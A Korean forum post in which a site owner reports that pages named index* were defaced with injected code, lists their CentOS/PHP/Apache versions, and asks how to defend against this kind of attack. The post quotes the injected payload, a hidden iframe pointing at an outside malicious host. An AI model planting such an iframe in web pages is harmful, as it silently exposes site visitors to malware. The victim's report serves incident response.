index.html index2 등 이런 파일에 특정부분이 들어가는 해킹

안녕하세요
사이트가 해킹 당했습니다.
index index2 등등 index로 시작 되는 사이트 전체 페이지중
거이 대부분에
특정 소스가 삽입이 되어서 사이트가 꺠져 버렸습니다.

삽입된 코드는 그렇게 어려운게 아닌 일반적인
html 코딩인데..
문제는 이코딩 뒤에 부분이 전부 없어 졌습니다.
어떤 페이지는 이 부분만 삽입이 되었고요

<iframe src="http://mixlotworld.cn:8080/ts/in.cgi?pepsi51" width=125 height=125 style="visibility: hidden"></iframe>
아이프렘 으로 되어 있는거 보니깐 끼워 넣고 쉽은 모양인데..

페이지 겨우 복구는 일단 했습니다.

이런 류의 해킹에대한 대비책을 어떻게 하면 되는지 궁금 하고요.
이후로 어떻게 해야 될지...
아시는분 꼭 답변 부탁 드립니다.

서버는
centos 4.5 이구요
커널버전은 2.6.9-78.0.1.ELsmp
PHP Version 5.2.1
아파치 2.0.58

꼭 아시는분 답변 바랍니다.